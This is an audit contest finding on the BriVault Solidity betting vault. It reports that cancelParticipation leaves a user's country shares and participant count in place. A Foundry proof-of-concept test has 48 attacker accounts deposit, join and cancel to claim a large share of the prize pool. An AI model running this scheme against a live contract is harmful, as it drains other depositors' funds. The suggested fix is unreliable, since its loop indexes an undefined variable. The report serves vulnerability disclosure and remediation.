BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

briVault::cancelParticipation variable update vulnerability

dpedpe

briVault::cancelParticipation do not update other storage variables when the user quits the event

Description

  • Normally, the function should remove the user and refund everything except fee. The user should not have any trace of share left in the protocol.


  • If the user has already joined a game, briVault::cancelParticipation does not remove his share in briVault::userSharesToCountry, his position in briVault::userAddressand briVault::userToCountry. It also does not deduct him from the briVault::numberOfParticipants.

// Root cause in the codebase with @> marks to highlight the relevant section
function cancelParticipation() public {
if (block.timestamp >= eventStartDate) {
revert eventStarted();
}
​
uint256 refundAmount = stakedAsset[msg.sender];
​
stakedAsset[msg.sender] = 0;
​
uint256 shares = balanceOf(msg.sender);
​
_burn(msg.sender, shares);
​
IERC20(asset()).safeTransfer(msg.sender, refundAmount);
}

Risk

Likelihood: High

  • Reason 1: When a user decide to cancel his participation this happens.

  • Reason 2: When an exploiter wants to bet across multiple account he can deposit, join and cancel while keeping his position in the game.

Impact: High

  • Impact 1: An exploiter could create 48 accounts and use one account to deposit, join, cancel for each team. The current vulnerability in thebriVault:withdraw function allows users with the correct briVault::userToCountry to withdraw a portion of the prize pool depending on the amount of vault token they hold.

Proof of Concept

  1. The attacker deposit, join and cancel using many account to cover all the possible outcomes.

  2. The normal users deposit, join and cancel one by one.

  3. Time passes and the owner pick the winner based on the outcome of tournament.

  4. The attacker transfer remaining vault token to the winner.

  5. the winner withdraw money from the prize pool. In this case, the attacker started with 20 tokens and ended up with 253 tokens.

//briVault.t.sol
function testMultipleAccountsWithCancel(uint256 winnerCountryId) public {
winnerCountryId = winnerCountryId % 48;
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
address[] memory attackers = new address[](48);
//1.The attacker deposit, join and cancel using many account to cover all the possible outcomes.
for (uint256 i = 0; i < 48; i++) {
attackers[i] = makeAddr(string(abi.encodePacked("attacker", i)));
}
for (uint256 i = 0; i < 48; i++) {
vm.startPrank(attackers[i]);
if (i == 0) mockToken.mint(attackers[i], 20 ether);
mockToken.approve(address(briVault), 20 ether);
briVault.deposit(mockToken.balanceOf(attackers[i]), attackers[i]);
briVault.joinEvent(i);
if (i < 47) {
briVault.cancelParticipation();
mockToken.transfer(
attackers[(i + 1) % 48],
mockToken.balanceOf(attackers[i])
);
}
vm.stopPrank();
}
//2.The normal users deposit, join and cancel one by one.
for (uint256 i = 0; i < 100; i++) {
vm.startPrank(makeAddr(string(abi.encodePacked("user", i))));
mockToken.mint(
makeAddr(string(abi.encodePacked("user", i))),
10 ether
);
mockToken.approve(address(briVault), 10 ether);
briVault.deposit(
10 ether,
makeAddr(string(abi.encodePacked("user", i)))
);
briVault.joinEvent(i % 48);
vm.stopPrank();
}
//3.Time passes and the owner pick the winner based on the outcome of tournament.
vm.warp(eventEndDate + 1);
vm.roll(block.number + 1);
vm.startPrank(owner);
briVault.setWinner(winnerCountryId);
vm.stopPrank();
//4.The attacker transfer remaining vault token to the winner.
vm.startPrank(attackers[47]);
if (briVault.totalWinnerShares() >= briVault.balanceOf(attackers[47])) {
briVault.transfer(
attackers[winnerCountryId],
briVault.balanceOf(attackers[47])
);
} else {
briVault.transfer(
attackers[winnerCountryId],
briVault.totalWinnerShares()
);
briVault.transfer(
makeAddr("user0"),
briVault.balanceOf(attackers[47]) - briVault.totalWinnerShares()
);
}
vm.stopPrank();
//5.the winner withdraw money from the prize pool. In this case, the attacker started with 20 tokens and ended up with 253 tokens.
vm.prank(attackers[winnerCountryId]);
briVault.withdraw();
console.log(mockToken.balanceOf(attackers[winnerCountryId]));
//console::log(253662708457163124616 [2.536e20]) [staticcall]
}

Recommended Mitigation

Modify the storage variables when refunding to the user and refund the balance of the user instead of the value in briVault::stakedAsset. The user is not removed from the briVault::userAddress since we don't know the index of the user and it will cost a lot to loop through the array if the user joined late. This will not affect anything because briVault::userSharesToCountry is set to zero for the user for all countries.

​
function cancelParticipation() public {
if (block.timestamp >= eventStartDate) {
revert eventStarted();
}
​
uint256 refundAmount = stakedAsset[msg.sender];
​
stakedAsset[msg.sender] = 0;
+ for(int i = 0; i< 48; i++){
+ if(userSharesToCountry[msg.sender][countryId]!=0)userSharesToCountry[msg.sender][countryId]=0;
+ }
+ userToCountry[msg.sender] = "";
+ numberOfParticipants--;
//it does not matter anymore if the user is in the briVault::userAddress array or not since it will add 0 to the total share.
uint256 shares = balanceOf(msg.sender);
​
_burn(msg.sender, shares);
​
IERC20(asset()).safeTransfer(msg.sender, refundAmount);
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

`cancelParticipation` Leaves Stale Winner Data

CancelParticipation burns shares but leaves the address inside usersAddress and keeps userSharesToCountry populated.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!